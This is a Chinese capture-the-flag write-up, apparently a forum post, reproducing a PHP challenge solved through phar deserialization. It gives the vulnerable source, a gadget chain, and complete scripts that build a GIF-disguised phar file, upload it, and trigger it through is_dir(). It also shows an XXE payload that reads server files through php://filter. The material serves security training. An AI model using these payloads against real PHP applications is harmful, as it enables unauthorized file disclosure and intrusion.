以下均是赛后自搭环境复现情况:
题目默认是地址是 xxxx:8003
有注册功能点和登陆功能点,但在一波信息收集后并无果,并且URL参数的id=1也是幌子
在师兄的扫描端口下,发现了8000端口,访问后直接给了源码:
<?php
class TheUse{
private $obj;
private $con1;
private $con2;
function __construct($obj,$con1,$con2){
$this->obj = $obj;
$this->con1 = $con1;
$this->con2 = $con2;
}
function __destruct(){
$new = $this->obj;
$new($this->con1,$this->con2);
}
}
class MyClass{
private $dir;
function __construct($dir){
$this->dir = $dir;
}
function __toString(){
echo "String conversion...\n";
}
function __invoke($param1,$param2){
$this->$param1($param2);
}
public function getdir($path){
print_r(glob($path));
}
public function load($con){
simplexml_load_string($con,null,LIBXML_NOENT);
}
}
if(isset($_REQUEST['f'])){
$filename=$_REQUEST['f'];
is_dir($filename);
}else{
highlight_file(__FILE__);
}
看到class的魔术方法
第一时间想到反序列化
但是没有类似于unserialize()
的反序列化函数
注意到函数is_dir()
,is_dir()
函数可以触发phar
协议,phar协议可以触发反序列化
但是phar需要有文件上传的点:于是找到了/upload.php
这个功能点
因此思路就有了:
通过链子构造phar文件,上传phar文件后用phar协议读取
反序列化的链子很简单:
TheUse$__destruct() -->MyClass$__invoke-->MyClass$getdir() //读取文件名称
TheUse$__destruct() -->MyClass$__invoke-->MyClass$load() //读取文件内容
构造反序列化链子:
<?php
class TheUse{
private $obj;
private $con1;
private $con2;
function __construct($obj,$con1,$con2){
$this->obj = $obj;
$this->con1 = $con1;
$this->con2 = $con2;
}
function __destruct(){
$new = $this->obj;
$new($this->con1,$this->con2);
}
}
class MyClass{
private $dir;
function __construct($dir){
$this->dir = $dir;
}
function __toString(){
echo "String conversion...\n";
}
function __invoke($param1,$param2){
$this->$param1($param2);
}
public function getdir($path){
print_r(glob($path));
}
public function load($con){
simplexml_load_string($con,null,LIBXML_NOENT);
}
}
$xml=<<<EOF
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/flag.php">]>
<x>&file;</x>
EOF;
$payload = new TheUse(new MyClass('./'), 'load', $xml);
坑点1
构造函数的时候$xml
变量要用
$xml=<<<EOF
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/flag.php">]>
<x>&file;</x>
EOF;
这种形式定义,不能直接放到构造函数里,我就是因为这一步频繁报错未解出来
坑点2
在xml中读取文件时要用绝对路径读取协议(这里用了php伪协议读取文件)
不用绝对路径的报错图:
解决方法(使用绝对路径):
解题:
payload生成读取文件名的phar文件:
<?php
class TheUse{
private $obj;
private $con1;
private $con2;
function __construct($obj,$con1,$con2){
$this->obj = $obj;
$this->con1 = $con1;
$this->con2 = $con2;
}
function __destruct(){
$new = $this->obj;
$new($this->con1,$this->con2);
}
}
class MyClass{
private $dir;
function __construct($dir){
$this->dir = $dir;
}
function __toString(){
echo "String conversion...\n";
}
function __invoke($param1,$param2){
$this->$param1($param2);
}
private function getdir($path){
print_r(glob($path));
}
private function load($con){
simplexml_load_string($con,null,LIBXML_NOENT);
}
}
$payload = new TheUse(new MyClass('/var/www/html'), 'getdir', '/var/www/html/*');
$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->setMetadata($payload);
$phar->addFromString('1.txt','test'); // phar:[phar.phar][system_get_you_filename]/1.txt
$phar->stopBuffering();
运行后上传phar文件
然后使用phar协议读取:
?f=phar:///var/www/html/phar.phar
可以看到flag的名称是Maybe_flag_is_here.php
接下来读取flag:
<?php
class TheUse{
private $obj;
private $con1;
private $con2;
function __construct($obj,$con1,$con2){
$this->obj = $obj;
$this->con1 = $con1;
$this->con2 = $con2;
}
function __destruct(){
$new = $this->obj;
$new($this->con1,$this->con2);
}
}
class MyClass{
private $dir;
function __construct($dir){
$this->dir = $dir;
}
function __toString(){
echo "String conversion...\n";
}
function __invoke($param1,$param2){
$this->$param1($param2);
}
private function getdir($path){
print_r(glob($path));
}
private function load($con){
simplexml_load_string($con,null,LIBXML_NOENT);
}
}
$xml=<<<EOF
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/Maybe_flag_is_here.php">]>
<x>&file;</x>
EOF;
$payload = new TheUse(new MyClass('/var/www/html'), 'load', $xml);
$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->setMetadata($payload);
$phar->addFromString('1.txt','test'); // phar:[phar.phar][system_get_you_filename]/1.txt
$phar->stopBuffering();
依旧是把生成的phar文件上传,使用phar协议反序列化:
?f=phar:///var/www/html/phar.phar
解码得到flag:
flag:flag{this-is-flag-for-you}
思考:
以前从未接触过XML读文件的函数,于是在解题时直接放入构造函数中,而不是先利用
$xml = <<<EOF
EOF
的形式构造,然后再传入构造函数
点击收藏 | 0
关注 | 1
打赏